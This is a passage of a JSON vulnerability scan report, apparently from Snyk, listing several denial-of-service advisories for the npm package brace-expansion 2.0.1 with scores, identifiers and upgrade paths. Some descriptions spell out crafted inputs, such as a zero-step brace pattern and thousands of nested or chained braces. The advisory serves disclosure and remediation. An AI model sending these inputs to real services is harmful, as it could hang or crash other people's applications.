"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
